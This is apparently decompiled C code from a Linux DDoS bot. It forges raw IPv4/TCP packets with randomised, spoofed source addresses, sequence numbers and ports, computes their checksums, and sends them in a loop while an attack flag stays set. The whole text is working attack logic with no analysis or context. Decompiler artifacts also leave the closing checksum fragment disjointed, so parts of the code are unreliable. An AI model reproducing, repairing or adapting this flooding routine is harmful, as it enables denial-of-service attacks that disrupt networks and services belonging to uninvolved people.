    _v3500 = 2;
    _v2912 = _v3068;
    if(_v2912 <= 60 || _v80 > 800) {
        _v80 = 61;
    }
    _v76 = _v80 - 60;
    _t1199 =  &_v248 + 20;
    L08075250(_t1199);
    _v72 = _t1199;
    if(_v72 != 0) {
        _t1225 = L0806E4D0( &_v248 + 20, "0.0.0.0");
        if(_t1225 == 0) {
        } else {
            _v68 = 0;
            _v68 = _v232;
            if(_v68 <= 0 || _v68 > 86400) {
                _v68 = 20;
            }
            _v664 =  *( *( *(_v72 + 16)));
            _v64 = 20;
            _v60 =  &_v524;
            _v56 =  &_v524 + 20;
            _v52 =  &_v524 + 40;
             *_v60 =  *_v60 & 255 & 240 | 5;
             *_v60 =  *_v60 & 255 & 15 | 64;
            (_v60[1]) = 0;
            (_v60[2]) = 60;
             *__esp = 31337;
            _t1244 = L08075240(__esp);
            (_v60[4]) = _t1244;
            (_v60[6]) = 0;
            (_v60[8]) = 250;
            (_v60[9]) = 6;
            (_v60[0xa]) = 0;
            (_v60[0x10]) = _v664;
             *__esp = _v100 & 65535;
            _t1253 = L08075240(__esp);
             *((short*)(_v56 + 2)) = _t1253;
             *__esp = 31337;
            _t1255 = L08075230(__esp);
             *((intOrPtr*)(_v56 + 4)) = _t1255;
             *__esp = 0;
            _t1257 = L08075230(__esp);
             *((intOrPtr*)(_v56 + 8)) = _t1257;
             *(_v56 + 12) =  *(_v56 + 12) & 255 & 240;
             *(_v56 + 12) =  *(_v56 + 12) & 255 & 15 | 160;
             *(_v56 + 13) = _v86 & 65535;
             *__esp = 57344;
            _t1266 = L08075240(__esp);
             *((short*)(_v56 + 14)) = _t1266;
             *((short*)(_v56 + 16)) = 0;
             *(_v56 + 18) = 0;
            if((_v64 & 3) != 0) {
                _v64 = (_v64 + (_v64 >> 31 >> 30) & 3) - (_v64 >> 31 >> 30) + 1 << 2;
            }
            _v64 = 40;
            _v672 = 1;
            _v48 =  &_v672;
            _v3548 = 4;
            _v3552 = _v48;
            _v3556 = 3;
            _v3560 = 0;
            _t1274 = _v84;
             *__esp = _t1274;
            L08073640(_t1973, __esp);
            if(_t1274 >= 0) {
            } else {
                _v44 = 0;
                while(1) {
                    _t1275 = IsAttack;
                    if(_t1275 == 0) {
                        break;
                    }
                    _v40 = 0;
                    while(_v40 <= 999) {
                        L0805EBE0();
                        _t2005 = _t1275;
                        _v708 = -2147450879;
                        _v696 = ((_v708 * _t2005 >> 32) + _t2005 >> 15) - (_t2005 >> 31);
                        _v696 = _t2005 - (_v696 << 16) - _v696;
                         *__esp = _v696;
                        _t1285 = L08075230(__esp);
                        _t1286 = _v56;
                         *((intOrPtr*)(_t1286 + 4)) = _t1285;
                        L0805EBE0();
                        _t2006 = _t1286;
                        _v708 = -2147450879;
                        _v692 = ((_v708 * _t2006 >> 32) + _t2006 >> 15) - (_t2006 >> 31);
                        _v692 = _t2006 - (_v692 << 16) - _v692;
                         *__esp = _v692 & 65535 & 65535;
                        _t1297 = L08075240(__esp);
                        _t1298 = _v56;
                         *((short*)(_t1298 + 14)) = _t1297;
                        L0805EBE0();
                        _t2007 = _t1298;
                        _v708 = -2147450879;
                        _t2075 = _v708 * _t2007 >> 32;
                        _t1979 = (_t2075 + _t2007 >> 15) - (_t2007 >> 31);
                        _v688 = (_t2075 + _t2007 >> 15) - (_t2007 >> 31);
                        _v688 = _t2007 - (_v688 << 16) - _v688;
                         *_v56 = _v688 & 65535;
                        _t1309 = _v92 - _v96;
                        _v36 = _t1309;
                        if(_v36 <= 0) {
                            goto L110;
                        } else {
                            L0805EBE0();
                            _v32 = _t1309 % _v36 + _v96;
                            L0806F850(_t1979, _t2252, __esi,  &_v268, 0, 20);
                            _v3544 = _v32 & 255;
                            _v3548 = _v32 >> 8 & 255;
                            _v3552 = _v32 >> 16 & 255;
                            L0805FF50( &_v268, "%d.%d.%d.%d", _v32 >> 24);
                            _t1326 = L08073B40( &_v268);
                            (_v60[0xc]) = _t1326;
                            L0806F850(_v32 >> 16 & 255, _t2252, __esi,  &_v652, 0, 128);
                            L0806F9E0(_t2252, __esi,  &_v652,  &(_v60[0xc]), 4);
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v652)[2]),  &(_v60[0x10]), 4);
                            _v644 = 0;
                            _v643 = (_v60[9]) & 255;
                            _v642 = _v64 >> 8;
                            _v641 = _v64;
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v652)[6]), _v56, 20);
                            L0806F9E0(_t2252, __esi,  &((char*)( &_v652)[0x10]), _v52, 8);
                            _t1354 = csum( &_v652, _v64 + 12);
                             *(_v56 + 16) = _t1354;
                            __esi =  &_v668;
                            L0805EBE0();
                            _v3544 = 16;
                            _v3548 = __esi;
                            _v3552 = 0;
                            _v3556 = ((_v60[2]) & 65535 & 65535) + ((_v60[2]) & 65535) % _v76;
                            _t1275 = L08052C20(__esi, _v84,  &_v524);
                            _v40 = _v40 + 1;
                            continue;
                        }
                        goto L110;
                    }
                }
            }
        }
    }
L110:
    L08052A50(_v84);
    _t1202 = L08051050();
    L08051000(_t1202);
     *__esp = 0;
    L08050FE0();
    goto L111;
L111:
    _push(_t2269);
    __esp = __esp - 16;
    _v3580 = _v3556;
    _v3576 = _v3560;
    _v3572 = 0;
    _v3582 = 0;
    while(_v36 > 1) {
        _v28 = _v28 + ( *_v32 & 65535 & 65535);
        _v32 = _v32 + 2;
        _v36 = _v36 - 2;
    }
}